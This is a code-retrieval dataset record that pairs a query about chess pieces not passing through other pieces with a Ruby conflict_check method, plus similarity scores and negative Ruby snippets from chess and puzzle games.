[ "0.74828774", "0.72327685", "0.70942444", "0.6995419", "0.6986097", "0.69799054", "0.69392085", "0.69391173", "0.68514913", "0.68081456", "0.67745155", "0.6756841", "0.6741212", "0.67327094", "0.67318976", "0.67295015", "0.67266923", "0.67162114", "0.67158026", "0.6709308", "0.669492", "0.66919535", "0.66822743", "0.66590476", "0.66539395", "0.66374695", "0.66306233", "0.66056067", "0.6602025", "0.65881133", "0.6583929", "0.6580533", "0.65763116", "0.6574847", "0.6574132", "0.65733206", "0.6570743", "0.6568309", "0.6565772", "0.65624285", "0.6539253", "0.65265715", "0.6525132", "0.6514755", "0.65116346", "0.6511286", "0.6509595", "0.6507072", "0.65012646", "0.6491177", "0.646983", "0.6468773", "0.64608574", "0.6460474", "0.6452286", "0.6452005", "0.6444056", "0.64396447", "0.64366686", "0.6435082", "0.6433463", "0.6432533", "0.64210594", "0.6421023", "0.64167875", "0.6414241", "0.64135426", "0.64066136", "0.6404691", "0.639447", "0.6372586", "0.6371547", "0.6370589", "0.63690484", "0.63596636", "0.63488925", "0.6348609", "0.6345045", "0.63389605", "0.6336289", "0.63267237", "0.63265145", "0.63229096", "0.6304505", "0.6298624", "0.62938887", "0.628776", "0.62853456", "0.6283144", "0.62786335", "0.62758803", "0.6273861", "0.62728816", "0.6271586", "0.6271217", "0.6268688", "0.6263909", "0.6252248", "0.62520283", "0.62449753" ]
0.7005605
3
to make sure pieces to go through other pieces (except knight), could clean up
def conflict_check(player, opponent, start, dest) idx = player.find_piece_index(start[0], start[1]) opp_idx = opponent.find_piece_index(dest[0], dest[1]) opp_king_idx = nil opponent.pieces.each_with_index{ |val, index| opp_king_idx = index if val.is_a? King } copy_start = start.dup copy_dest = dest.dup if player.pieces[idx].is_a? Knight player.pieces.each do |piece| if dest[0] == piece.x && dest[1] == piece.y return nil end end pos_moves = player.pieces[idx].get_valid_moves pos_moves.each do |move| if move[0] == opponent.pieces[opp_king_idx].x && move[1] == opponent.pieces[opp_king_idx].y return 'bop' end end return 'bo' end if player.pieces[idx].is_a? Pawn player.pieces.each do |piece| if dest[0] == piece.x && dest[1] == piece.y return nil end end pos_moves = player.pieces[idx].get_valid_moves pos_moves.each do |move| if move[0] == opponent.pieces[opp_king_idx].x && move[1] == opponent.pieces[opp_king_idx].y && move[1] != start[1] return 'bop' end end return 'bo' end if (copy_start[0] < copy_dest[0] && copy_start[1] < copy_dest[1]) until copy_start == copy_dest do copy_start[0] += 1 copy_start[1] += 1 if copy_start == copy_dest && !opp_idx.nil? if opponent.pieces[opp_idx].x == dest[0] && opponent.pieces[opp_idx].y == dest[1] && player.pieces[idx].valid_move?(dest) return 'bop' end end if @board_visual[copy_start[0]][copy_start[1]] != CYAN_BLOCK && @board_visual[copy_start[0]][copy_start[1]] != RED_BLOCK return nil end end elsif (copy_start[0] > copy_dest[0] && copy_start[1] > copy_dest[1]) until copy_start == copy_dest do copy_start[0] -= 1 copy_start[1] -= 1 if copy_start == copy_dest && !opp_idx.nil? if opponent.pieces[opp_idx].x == dest[0] && opponent.pieces[opp_idx].y == dest[1] && player.pieces[idx].valid_move?(dest) return 'bop' end end if @board_visual[copy_start[0]][copy_start[1]] != CYAN_BLOCK && @board_visual[copy_start[0]][copy_start[1]] != RED_BLOCK return nil end end elsif (copy_start[0] < copy_dest[0] && copy_start[1] > copy_dest[1]) until copy_start[0] == copy_dest[0] do copy_start[0] += 1 copy_start[1] -= 1 if copy_start == copy_dest && !opp_idx.nil? if opponent.pieces[opp_idx].x == dest[0] && opponent.pieces[opp_idx].y == dest[1] && player.pieces[idx].valid_move?(dest) return 'bop' end end if @board_visual[copy_start[0]][copy_start[1]] != CYAN_BLOCK && @board_visual[copy_start[0]][copy_start[1]] != RED_BLOCK return nil end end elsif (copy_start[0] > copy_dest[0] && copy_start[1] < copy_dest[1]) until copy_start == copy_dest do copy_start[0] -= 1 copy_start[1] += 1 if copy_start == copy_dest && !opp_idx.nil? if opponent.pieces[opp_idx].x == dest[0] && opponent.pieces[opp_idx].y == dest[1] && player.pieces[idx].valid_move?(dest) return 'bop' end end if @board_visual[copy_start[0]][copy_start[1]] != CYAN_BLOCK && @board_visual[copy_start[0]][copy_start[1]] != RED_BLOCK return nil end end elsif (copy_start[0] < copy_dest[0] && copy_start[1] == copy_dest[1]) until copy_start[0] == copy_dest[0] do copy_start[0] += 1 if copy_start == copy_dest && !opp_idx.nil? if opponent.pieces[opp_idx].x == dest[0] && opponent.pieces[opp_idx].y == dest[1] && player.pieces[idx].valid_move?(dest) return 'bop' end end if @board_visual[copy_start[0]][copy_start[1]] != CYAN_BLOCK && @board_visual[copy_start[0]][copy_start[1]] != RED_BLOCK return nil end end elsif (copy_start[0] > copy_dest[0] && copy_start[1] == copy_dest[1]) until copy_start[0] == copy_dest[0] do copy_start[0] -= 1 if copy_start == copy_dest && !opp_idx.nil? if opponent.pieces[opp_idx].x == dest[0] && opponent.pieces[opp_idx].y == dest[1] && player.pieces[idx].valid_move?(dest) return 'bop' end end if @board_visual[copy_start[0]][copy_start[1]] != CYAN_BLOCK && @board_visual[copy_start[0]][copy_start[1]] != RED_BLOCK return nil end end elsif (copy_start[0] == copy_dest[0] && copy_start[1] < copy_dest[1]) until copy_start[1] == copy_dest[1] do copy_start[1] += 1 if copy_start == copy_dest && !opp_idx.nil? if opponent.pieces[opp_idx].x == dest[0] && opponent.pieces[opp_idx].y == dest[1] && player.pieces[idx].valid_move?(dest) return 'bop' end end if @board_visual[copy_start[0]][copy_start[1]] != CYAN_BLOCK && @board_visual[copy_start[0]][copy_start[1]] != RED_BLOCK return nil end end elsif (copy_start[0] == copy_dest[0] && copy_start[1] > copy_dest[1]) until copy_start[1] == copy_dest[1] do copy_start[1] -= 1 if copy_start == copy_dest && !opp_idx.nil? if opponent.pieces[opp_idx].x == dest[0] && opponent.pieces[opp_idx].y == dest[1] && player.pieces[idx].valid_move?(dest) return 'bop' end end if @board_visual[copy_start[0]][copy_start[1]] != CYAN_BLOCK && @board_visual[copy_start[0]][copy_start[1]] != RED_BLOCK return nil end end end return 'boo' end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def remove_pieces\n CHECKERS_HEIGHT.times do |x|\n CHECKERS_WIDTH.times do |y|\n @pieces[x][y].remove unless @pieces[x][y].nil?\n end\n end\nend", "def compact_pieces\n @recheck = false\n for i in (0..@width-1)\n for j in (0..@height-1)\n if @board[i][j] and @board[i][j+1].nil? #drop pieces down\n @recheck = true\n @board[i][j+1] = @board[i][j]\n @board[i][j] = nil \n elsif j == 0 and @board[i][j].nil? #replace pieces at top\n @recheck = true\n @board[i][j] = Piece.new\n end\n end\n end\n if @startup and @recheck #fast setup of board before update + anim loops start\n compact_pieces\n clear_matches\n end \n end", "def draw_pieces\n CHECKERS_HEIGHT.times do |x|\n CHECKERS_WIDTH.times do |y|\n @pieces[x][y].remove unless @pieces[x][y].nil?\n @pieces[x][y] = draw_piece(x,y,@board.state[x][y]) unless @board.state[x][y].nil?\n end\n end\nend", "def drop_piece\n return unless @falling_piece\n\n loop do\n # piece_down takes care of finishing on hit\n break if piece_down\n end\n end", "def remove_marked\n for i in (0..@width-1)\n for j in (0..@height-1)\n if @board[i][j] and @board[i][j].marked\n @board[i][j] = nil\n @pieces_removed += 1\n end\n end\n end\n end", "def checkmoves(king, attacking_pieces, board )\n if self == king\n enemy_pieces = self.game.pieces.where('player_id != ?', king.player_id).where(captured_piece: false)\n king_moves = king.piece_can_move_to(board)\n enemy_pieces.each do |enemy_piece|\n if enemy_piece.type == \"Pawn\" #testing for if pawn is attacking square king could move to. wierd case since pawn cant move to this square unless an enemy piece is there to capture (take diagonal)\n pawn_test_spots = []\n if enemy_piece.game.black_player_id == enemy_piece.player_id\n pawn_test_spots = [[enemy_piece.y_position - 1,enemy_piece.x_position - 1],[enemy_piece.y_position - 1,enemy_piece.x_position + 1]]\n\n elsif enemy_piece.game.white_player_id == enemy_piece.player_id\n pawn_test_spots = [[enemy_piece.y_position + 1,enemy_piece.x_position - 1],[enemy_piece.y_position + 1,enemy_piece.x_position + 1]]\n end\n king_moves -= pawn_test_spots\n next\n end\n king_moves -= enemy_piece.piece_can_move_to(board)\n end\n return king_moves\n end\n\n return [] if attacking_pieces.length > 1 # can't defend from two attacking pieces unless king is moved\n\n current_piece = self\n current_piece_moves_avail = current_piece.piece_can_move_to(board)\n enemy_piece = attacking_pieces[0] # since only one piece is attacking, we should rename this\n current_piece_moves_avail = current_piece_moves_avail & (enemy_piece.piece_can_move_to(board) + [[enemy_piece.y_position,enemy_piece.x_position]])# finding the squares these pieces can both move to\n\n prevent_check_moves = []\n\n current_piece_moves_avail.each do |square|\n y = square[0]\n x = square[1]\n play_board = Marshal.load(Marshal.dump(board))\n play_board[self.y_position][self.x_position] = 0\n play_board[y][x] = self.player_id\n # enemy piece should have x,y such that board[y][x] should equal to enemy player.id\n if play_board[enemy_piece.y_position][enemy_piece.x_position] == self.player_id\n prevent_check_moves << square\n next\n end\n prevent_check_moves << square if !enemy_piece.piece_can_move_to(play_board).include?([king.y_position,king.x_position])\n end\n return prevent_check_moves\n\n end", "def filter_for_self_check(pieces, moves, color)\n\t\t\tcolor = (color == \"w\") ? \"white\" : \"black\"\n\t\t\topp_color = (color == \"white\") ? \"b\" : \"w\"\n splices = []\n king = pieces.find { |p| p.name == \"king\" && p.color == color }\n return [] if king.nil? \n\n # for each move we generated go through and see if any opponent moves put color king in check\n moves.each_index do | i |\n mover = pieces.index { |p| p.position == moves[i].from }\n next if mover.nil?\n\n # is the mover the king? update the king position\n if (pieces[mover].position == king.position)\n king.position = moves[i].to\n end\n\n\t\t\t\tboard = Board.new\n\t\t\t\tboard.game = self.game\n\t\t\t\tboard.set self.fen\n\t\t\t\tboard.do_move(moves[i])\n opp_moves = board.moves(opp_color)\n\n opp_moves.each do | omove |\n if (omove.to == king.position)\n # splice out the current move & break... only 1 needs to be found\n splices << moves[i]\n break\n end\n end\n\n if (pieces[mover].position == king.position)\n king.position = moves[i].from\n end\n\n end\n\n moves.delete_if { |i|\n splices.include?(i)\n }\n\n\t\t\treturn nil if moves.length == 0\n return moves\n end", "def drop_all_the_way\n if @game.is_running?\n ran = @current_block.drop_by_one\n ran2 = @current_block2.drop_by_one\n @current_pos1.each{|block| block.remove}\n @current_pos2.each{|block| block.remove}\n while ran\n @score += 1\n ran = @current_block.drop_by_one\n end\n while ran2\n @score += 1\n ran2 = @current_block2.drop_by_one\n end\n draw\n store_current\n if !game_over?\n next_piece\n next_piece2\n end\n @game.update_score\n draw\n end\n end", "def remove_en_passant(x, y)\n\t\topposite_team_color = (@board[x][y].piece.color == :white ? :black : :white)\n\t\tpawns = collect_pawns(opposite_team_color)\n\t\tpawns.each do |pawn|\n\t\t\tif @board[x][y].piece.color == :white\n\t\t\t\tpawn.piece = nil if pawn.piece.en_passant == true && @board[x][y - 1] == pawn\n\t\t\telse\n\t\t\t\tpawn.piece = nil if pawn.piece.en_passant == true && @board[x][y + 1] == pawn\n\t\t\tend\n\t\tend\n\tend", "def finalize\r\n drop_chopsticks\r\n end", "def possible_king_moves(start_arr)\n\t\tx = start_arr[0]\n\t\ty = start_arr[1]\n\t\tcandidates = []\n\t\tcandidates << [x+1,y]\n\t\tcandidates << [x-1,y]\t\t\n\t\tcandidates << [x,y+1]\t\t\t\t\n\t\tcandidates << [x,y-1]\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\tcandidates << [x+1,y+1]\n\t\tcandidates << [x-1,y-1]\t\n\t\tcandidates << [x-1,y+1]\t\t\t\t\n\t\tcandidates << [x+1,y-1]\t\t\t\t\n\t\tchildren = candidates.select { |pos| pos[0] >= 0 && pos[1] >= 0 && pos[0] <= 7 && pos[1] <= 7}\n\t\tchildren.delete_if do |child|\n\t\t\tif !(@board[child] == \"*\")\n\t\t\t\t# If pieces not same color\n\t\t\t\tif @board[child].color == @board[start_arr].color\n\t\t\t\t\tif occupied(child)\n\t\t\t\t\t\tcan_do = true\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tchildren\n\tend", "def remove_piece(arr)\n @board[arr[0]][arr[1]][:piece] = nil\n end", "def remove_piece(piece)\n piece.piece_cells.each_with_index do |row, j|\n row.each_with_index do |cell, i|\n @cells[piece.y + j][piece.x + i] = 0 if cell == 1\n end\n end\n end", "def remove(square)\n piece_type = pieces[square]\n\n return nil unless piece_type\n\n mask = BB_SQUARES[square]\n\n if piece_type == PAWN\n @pawns = @pawns ^ mask\n elsif piece_type == KNIGHT\n @knights = @knights ^ mask\n elsif piece_type == BISHOP\n @bishops = @bishops ^ mask\n elsif piece_type == ROOK\n @rooks = @rooks ^ mask\n elsif piece_type == QUEEN\n @queens = @queens ^ mask\n else\n @kings = @kings ^ mask\n end\n\n color = ((@occupied_co[BLACK] & mask).to_boolean).to_i\n @pieces[square] = nil\n @occupied = @occupied ^ mask\n @occupied_co[color] = @occupied_co[color] ^ mask\n @occupied_l90 = @occupied_l90 ^ BB_SQUARES[SQUARES_L90[square]]\n @occupied_r45 = @occupied_r45 ^ BB_SQUARES[SQUARES_R45[square]]\n @occupied_l45 = @occupied_l45 ^ BB_SQUARES[SQUARES_L45[square]]\n\n # Update incremental zobrist hash.\n if color == BLACK\n piece_index = (piece_type - 1) * 2\n else\n piece_index = (piece_type - 1) * 2 + 1\n end\n\n @incremental_zobrist_hash = @incremental_zobrist_hash ^ Zobrist::POLYGLOT_RANDOM_ARRAY[64 * piece_index + 8 * rank_index(square) + file_index(square)]\n end", "def permissible(start, stop, piece, player)\r\n $board[start[0]][start[1]].nil? ? start_color = nil : start_color = $board[start[0]][start[1]].color\r\n $board[stop[0]][stop[1]].nil? ? stop_color = nil : stop_color = $board[stop[0]][stop[1]].color \r\n # Ensures player moving own piece\r\n if start_color != player\r\n puts \"Invalid selection!\"; return false\r\n end\r\n temp_board = temporary_board(start, stop)\r\n check = in_check(player, temp_board)\r\n # Ensures King not currently in check, or move places King in check\r\n if check == true\r\n puts ''\r\n puts \"Invalid move. King in check.\" ; return false \r\n end\r\n # Ensures player doesn't capture own piece\r\n if stop_color == player\r\n puts ''\r\n puts \"You cannot capture your own piece!\"; return false\r\n end\r\n # Permits en passant\r\n if piece.class == Pawn && $board[@prev_coord[0]][@prev_coord[1]].class == Pawn\r\n if @prev_delta_y == 2 && @prev_coord[1] == start[1] && @prev_coord[0] == stop[0] \r\n if (player == 'white' && stop[1] == @prev_coord[1] + 1) or (player == 'black' && stop[1] == @prev_coord[1] -1 )\r\n print \"En passant\"\r\n $board[@prev_coord[0]][@prev_coord[1]] = nil\r\n return true\r\n end\r\n end\r\n end\r\n #King hasn't moved yet, rook hasn't moved yet\r\n if piece.class == King and start[1] == stop[1] and (start[0] - stop[0]).abs == 2 and piece.turn == 0 #first rank King,king hasn't moved, \r\n if castle_valid(start, stop, piece, player)\r\n print \"Castling...\"\r\n return true\r\n end\r\n end\r\n # Ensures move is a valid combination for piece type\r\n if piece.valid_move(start, stop, $board) == false\r\n puts ''\r\n puts \"Invalid move!\" ; return false\r\n end\r\n return true\r\n end", "def reset()\n\n @board.locations.each do |row|\n row.each do |location|\n \n # removes all pieces from the board.\n if location\n location.removePiece() \n end\n end\n end\n\n # player 1, remove all pieces\n for piece in @player1.unplayedPieces\n piece = nil\n end\n\n # player2, remove all pieces\n for piece in @player2.unplayedPieces\n piece = nil \n end\n\n # calls start game\n startGame(@player1, @player2)\n\n end", "def piece_finished\n blocks = build_blocks\n blocks.each do |block|\n @field[\n @falling_piece.grid_position.y + block.grid_offset_y\n ][\n @falling_piece.grid_position.x + block.grid_offset_x\n ] = block\n end\n\n new_piece\n check_row_removal\n end", "def move_piece(move)\n curr_piece = @board[move[0]]\n if curr_piece.non_check_moves.include?(move[1])\n #if en passant, remove captured piece\n if curr_piece.class == Pawn\n #puts curr_piece.can_en_passant?\n #puts \"HELKFDSJLFKD\"\n if curr_piece.can_en_passant?\n #puts \"HOMFDMSKFDFLSJFKDSLFJSDKLF JDSFKLSJFKLEJ FE FJSKLF\"\n rank = move[0][0]\n col = move[1][1]\n captured_pawn_pos = [rank,col]\n #puts captured_pawn_pos.inspect\n @board[captured_pawn_pos] = nil\n end\n end\n @board[move[1]] = curr_piece\n @board[move[0]] = nil\n curr_piece.move_history << move\n curr_piece.pos = move[1]\n #if castling, move rook too\n if curr_piece.class == King && (move[0][1] - move[1][1]).abs == 2\n #find the appropriate rook to move\n start_rank = move[0][0]\n start_file = move[1][1] == 2 ? 0 : 7\n start_pos = [start_rank, start_file]\n rook = @board[start_pos]\n #determine its final location, then move it.\n end_file = start_file == 0 ? 3 : 5\n end_pos = [start_rank, end_file]\n @board[end_pos] = rook\n @board[start_pos] = nil\n rook.move_history << end_pos\n rook.pos = end_pos\n end\n return true\n else\n puts \"Your king is still in check!\" if @board.in_check?(curr_piece.color)\n puts \"Not a legal move for this #{curr_piece.color} #{curr_piece.class}!\"\n puts\n return false\n end\n end", "def removePiece(piece)\n if piece.instance_of?(Piece) && piece.location != nil\n piece.location.removePiece\n piece.location = nil\n end\n end", "def valid_moves # do this method with the board#dup and all that and check if in check. Hah, it is indeed very straightforward lol\n all_moves = moves\n all_moves.reject { |move| move_into_check?(move) } # damn code is easy to write when it's good this should just check if a move leaves you in check and if so reject all the moves for which this is true\n end", "def dont_be_in_check(final_spots,current_king)\n invalid = []\n final_spots.each do |spot|\n y = spot[0]\n x = spot[1]\n\n play_board = Marshal.load(Marshal.dump(@board))\n play_board[@piece.y_position][@piece.x_position] = 0\n play_board[y][x] = @piece.player_id\n\n if @piece.type == \"King\"\n invalid << spot if current_king.if_king_move_in_check?(play_board,y,x).length > 0\n else\n invalid << spot if current_king.if_check?(play_board).length > 0\n end\n end\n return final_spots - invalid\n end", "def play_move!( m )\n self.delete_if { |pos, piece| pos == m.to_coord || pos == m.captured_piece_coord }\n\n piece_moved = self.delete(m.from_coord)\n self[m.to_coord] = piece_moved\n\n if m.castled==1\n castling_rank = m.to_coord.rank.to_s\n [['g', 'f', 'h'], ['c', 'd', 'a']].each do |king_file, new_rook_file, orig_rook_file|\n #update the position of the rook corresponding to the square the king landed on\n\tif m.to_coord.file == king_file \n\t rook = self.delete(\"#{orig_rook_file}#{castling_rank}\")\n\t self[\"#{new_rook_file}#{castling_rank}\"] = rook\n\tend\n end\n end\n \n #TODO investigate why this method is getting called multiply per moves << Move.new\n return unless piece_moved\n ep_from_rank, ep_to_rank, ep_rank = EN_PASSANT_CONFIG[ piece_moved.side ]\n @en_passant_square = ( piece_moved.function == :pawn &&\n m.from_coord.rank == ep_from_rank && \n m.to_coord.rank == ep_to_rank ) ? m.from_coord.file + ep_rank.to_s : nil\n\n #reflect promotion\n if piece_moved && piece_moved.function == :pawn && m.to_coord.to_s.rank == piece_moved.promotion_rank\n self.delete(m.to_coord)\n self[m.to_coord] = Queen.new(piece_moved.side, :promoted)\n #puts self.to_s if m.to_coord == 'a8'\n #debugger if m.to_coord == 'a8'\n end\n \n self\n end", "def reduce\n reduced = false\n #check each piece for matching neigbors and mark them\n for i in (0..53)\n if !(@board[i].ismarked) and (@board[i].identity != \" \")\n startcheck(i)\n end\n end\n\n #find marked nodes (as they need to be condensed)\n for i in (0..53)\n if @board[i].ismarked\n reduced = true\n startcondense(i)\n end\n end\n\n #!!WARNING: Uses deprecated functionality\n #update maximum piece type for generation\n if (reduced == false)\n maximum = 98\n for i in (0..53)\n if (@board.identity[0] > maximum)\n maximum = @board.identity[0]\n end\n end\n @randlimit = maximum - 96\n end\n\n #return whether we need another iteration\n return reduced\n end", "def escaping_moves(board)\n # all_possible_moves(board).map{}\n # p pieces_in_danger(board)\n pieces_in_danger = pieces_in_danger(board)\n positions_of_pieces_in_danger = pieces_in_danger.map(&:pos)\n # p \"Printing pieces in danger...\"\n # p positions_of_pieces_in_danger\n safe_moves(board).select { |move| positions_of_pieces_in_danger.include?(move.first) }\n end", "def clean_up\n show do\n title 'Store pellets on ice'\n note temp_instructions(ON_ICE)\n\n note 'Keep the labeled cell pellets, in the 24-well aluminum block, on ice until you are ready for FACS.'\n end\n\n buffers = operations.map { |op| op.inputs.select { |i| ALL_BUFFERS.include?(i.name) } }.flatten\n buffers.map! { |b| b.child_item }.uniq!\n\n release(buffers, interactive: true)\n\n show do\n title 'Clean up'\n\n check 'Any items that remain on the bench (other than the labeled cell pellets) can be discarded.'\n check \"Set the refigerated centrifuge back to 25 #{DEGREES_C}.\"\n end\n end", "def validRemoval(targetPiece)\n\n if targetPiece == nil\n puts \"nil\"\n return false\n end\n \n if @player1.isActive\n if targetPiece.colour == @player1.assignedColour()\n puts \"Cannot remove your own piece.\"\n return false\n end\n else\n if targetPiece.colour == @player2.assignedColour()\n puts \"Cannot remove your own piece.\"\n return false\n end\n end\n\n ## check if piece is in a mill \n if !checkMill(targetPiece)\n # not in mill it is a valid capture\n return true\n else\n # it is in a mill, check if it is a valid removal\n if targetPiece.colour == @player1.assignedColour()\n #piece is player1's\n for piece in @player1.playedPieces\n if !checkMill(piece)\n # if a piece is not in a mill\n puts \"Cannot remove a piece from a Mill. There is annother valid target.\"\n return false\n end\n end\n\n else\n #piece is player 2's\n for piece in @player2.playedPieces\n if !checkMill(piece)\n # if a piece is not in a mill\n puts \"Cannot remove a piece from a Mill. There is annother valid target.\"\n return false\n end\n end\n end\n\n end\n \n #if it exits from above then it will be a valid removal. \n return true\n\n end", "def test_pieces\n @board = MyTestBoard.new\n \n all_test_pieces = [[[[0, 0], [1, 0], [0, 1], [1, 1]]], # square (only needs one)\n MyPiece.rotations([[0, 0], [-1, 0], [1, 0], [0, -1]]), # T\n [[[0, 0], [-1, 0], [1, 0], [2, 0]], # long (only needs two)\n [[0, 0], [0, -1], [0, 1], [0, 2]]],\n MyPiece.rotations([[0, 0], [0, -1], [0, 1], [1, 1]]), # L\n MyPiece.rotations([[0, 0], [0, -1], [0, 1], [-1, 1]]), # inverted L\n MyPiece.rotations([[0, 0], [-1, 0], [0, -1], [1, -1]]), # S\n MyPiece.rotations([[0, 0], [1, 0], [0, -1], [-1, -1]]), # Z\n MyPiece.rotations([[0, 0], [1, 0], [0, 1], [1, 1], [1, 2]]), # ::.\n MyPiece.rotations([[0, 0], [-1, 0], [1, 0], [2, 0], [3, 0]]), # .....\n MyPiece.rotations([[0, 0], [1, 0], [1, 1]])] # .:\n\n all_pieces_rotations = [] \n\n # get all the individual rotations into an array\n (0..all_test_pieces.size-1).each { |oi| \n all_pieces_rotations += all_test_pieces[oi]\n }\n \n # get a new piece with a specific rotation and delete it\n (0..1000).each { |index| \n @piece = MyPiece.next_piece(@board)\n all_pieces_rotations.delete(@piece.current_rotation)}\n\n # all pieces have been generated and deleted\n assert_equal([], all_pieces_rotations)\n\n # same for the cheating piece\n cheat_piece = MyPiece.rotations([[0, 0]]) # .\n @piece = MyPiece.cheat_next_piece(@board)\n cheat_piece.delete(@piece.current_rotation)\n assert_equal([], cheat_piece)\n end", "def valid_white_pawn(start,dest)\n x = start[0]; y = start[1]\n x1 = dest[0]; y1 = dest[1]\n\n pawncross = \"\"\n\n return false if white_owned(x1,y1)\n\n if x1 == x && y1 == y+1 && @b[x1][y1] == \" \"\n @b[x][y] = \" \"\n @b[x1][y1] = @WP\n if y1 == 7\n puts \"You made it to the other side! Choose: Queen 'Q' or Knight 'K'\"\n pawncross = gets.chomp\n pawncross.upcase!\n unless pawncross == \"K\" || pawncross == \"Q\"\n puts \"Please choose 'Q' for queen, or 'K' for knight\"\n pawncross = gets.chomp\n pawncross.upcase!\n end\n if pawncross == \"K\"\n @b[x1][y1] = @WK\n elsif pawncross == \"Q\"\n @b[x1][y1] = @WQ\n end\n end\n return true\n elsif x1 == x && y1 == y+2 && y == 1 && @b[x1][y1] == \" \" && @b[x][y+1] == \" \"\n @b[x][y] = \" \"\n @b[x1][y1] = @WP\n return true\n elsif x1 == x+1 && y1 == y+1 && black_owned(x1,y1)\n @black_piece.push(@b[x1][y1])\n @b[x1][y1] = @WP\n @b[x][y] = \" \"\n if y1 == 7\n puts \"You made it to the other side! Choose: Queen 'Q' or Knight 'K'\"\n pawncross = gets.chomp\n pawncross.upcase!\n unless pawncross == \"K\" || pawncross == \"Q\"\n puts \"Please choose 'Q' for queen, or 'K' for knight\"\n pawncross = gets.chomp\n pawncross.upcase!\n end\n if pawncross == \"K\"\n @b[x1][y1] = @WK\n elsif pawncross == \"Q\"\n @b[x1][y1] = @WQ\n end\n end\n return true\n elsif x1 == x-1 && y1 == y+1 && black_owned(x1,y1)\n @black_piece.push(@b[x1][y1])\n @b[x1][y1] = @WP\n @b[x][y] = \" \"\n if y1 == 7\n puts \"You made it to the other side! Choose: Queen 'Q' or Knight 'K'\"\n pawncross = gets.chomp\n pawncross.upcase!\n unless pawncross == \"K\" || pawncross == \"Q\"\n puts \"Please choose 'Q' for queen, or 'K' for knight\"\n pawncross = gets.chomp\n pawncross.upcase!\n end\n if pawncross == \"K\"\n @b[x1][y1] = @WK\n elsif pawncross == \"Q\"\n @b[x1][y1] = @WQ\n end\n end\n return true\n end\n return false\n end", "def prune_king_revealers player, moves\n\t\tkpiece = player==WHITE ? WKING : BKING\n\t\tmoves.select do |to_try|\n\t\t\tmove to_try[0], to_try[1], to_try[2], false\n\t\t\tnext_moves = gen_moves @to_play\n\t\t\tking, = bits_to_positions(@bitboards[kpiece])\n\t\t\tret = true\n\t\t\tnext_moves.each do |m|\n\t\t\t\tif m[1] == king\n\t\t\t\t\tret = false\t\t\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\t\tundo 1\n\t\t\tret\n\t\tend\n\tend", "def set_pieces\n # white pieces\n (1..8).each do |index|\n Pawn.create(game_id: id, x_position: index, y_position: 2, color: 'white', active: true)\n end\n Rook.create(game_id: id, x_position: 1, y_position: 1, color: 'white', active: true)\n Knight.create(game_id: id, x_position: 2, y_position: 1, color: 'white', active: true)\n Bishop.create(game_id: id, x_position: 3, y_position: 1, color: 'white', active: true)\n Queen.create(game_id: id, x_position: 4, y_position: 1, color: 'white', active: true)\n King.create(game_id: id, x_position: 5, y_position: 1, color: 'white', active: true)\n Bishop.create(game_id: id, x_position: 6, y_position: 1, color: 'white', active: true)\n Knight.create(game_id: id, x_position: 7, y_position: 1, color: 'white', active: true)\n Rook.create(game_id: id, x_position: 8, y_position: 1, color: 'white', active: true)\n # black pieces\n (1..8).each do |index|\n Pawn.create(game_id: id, x_position: index, y_position: 7, color: 'black', active: true)\n end\n Rook.create(game_id: id, x_position: 1, y_position: 8, color: 'black', active: true)\n Knight.create(game_id: id, x_position: 2, y_position: 8, color: 'black', active: true)\n Bishop.create(game_id: id, x_position: 3, y_position: 8, color: 'black', active: true)\n Queen.create(game_id: id, x_position: 4, y_position: 8, color: 'black', active: true)\n King.create(game_id: id, x_position: 5, y_position: 8, color: 'black', active: true)\n Bishop.create(game_id: id, x_position: 6, y_position: 8, color: 'black', active: true)\n Knight.create(game_id: id, x_position: 7, y_position: 8, color: 'black', active: true)\n Rook.create(game_id: id, x_position: 8, y_position: 8, color: 'black', active: true)\n end", "def piece_sensing\n # iterate through each piece on the board\n board.each do |origin_piece|\n\n # Only consider origin pieces which exist\n if !!origin_piece\n\n # clear the piece's sensing data before populating\n origin_piece.clear_possible_moves\n origin_piece.clear_pieces_in_range\n\n # iterate through each potential direction of movement\n origin_piece.controlled_squares.each do |direction_of_movement|\n\n # iterate through coordinates moving away from the piece\n direction_of_movement.each do |test_coords|\n if ( test_coords &&\n board.in_bounds?(test_coords[0],test_coords[1]) )\n\n # set row and column variables for convenience and clarity\n test_row = test_coords[0]\n test_col = test_coords[1]\n\n # Call the possible move detection method\n if possible_move?(origin_piece,test_row,test_col)\n move_string = indices_to_chess_coords(test_row,test_col)\n origin_piece.add_possible_move(move_string)\n end\n\n # Call the piece detection method and break if it succeeds;\n # Once a piece is found, no more moves in that direction are valid\n if piece_in_range?(origin_piece, test_row, test_col)\n # The string to add to pieces in range\n piece_string = find_piece_string(test_row,test_col)\n\n # Add the piece to the origin_pieces pieces in range\n origin_piece.add_piece_in_range(piece_string)\n break\n end\n end\n end\n end\n end\n end\n check_for_check(current_player)\n end", "def determine_moves(loc)\n\n piece = @spaces[loc]\n\n moveset = []\n attackset = []\n new_moves = []\n\n x = loc[0]\n y = loc[1]\n\n enemy_king_checked = false\n\n\n case piece.type\n\n when \"pawn\"\n\n if piece.color == \"white\"\n\n new_moves << [x, y+1]\n new_moves << [x,y+2] if y == 1\n\n if @spaces[new_moves[0]].nil?\n\n moveset << new_moves[0]\n moveset << new_moves[1] if y == 1\n\n end\n\n atk_moves = [[x+1, y+1], [x-1, y+1]]\n atk_moves.each do |move|\n attackset << move if @spaces[move].nil?.! and @spaces[move].color == \"black\"\n if @spaces[move].nil?.!\n enemy_king_checked = true if @spaces[move].color == \"black\" and @spaces[move].type == \"king\"\n end\n end\n \n\n elsif piece.color == \"black\"\n\n new_moves = [[x, y-1]]\n new_moves << [x,y-2] if y == 6\n\n if @spaces[new_moves[0]].nil?\n\n moveset << new_moves[0]\n moveset << new_moves[1] if loc[1] == 6\n\n end\n\n atk_moves = [[x+1, y-1], [x-1, y-1]]\n atk_moves.each do |move|\n attackset << move if @spaces[move].nil?.! and @spaces[move].color == \"white\"\n if @spaces[move].nil?.!\n enemy_king_checked = true if @spaces[move].color == \"white\" and @spaces[move].type == \"king\"\n end\n end\n end\n\n @spaces[loc].moveset = moveset\n @spaces[loc].attackset = attackset\n \n\n when \"rook\"\n\n runner(loc, :north)\n runner(loc, :east)\n runner(loc, :south)\n runner(loc, :west)\n\n when \"knight\"\n\n possible_directions =\n [ [x+1, y+2],\n [x+1, y-2],\n 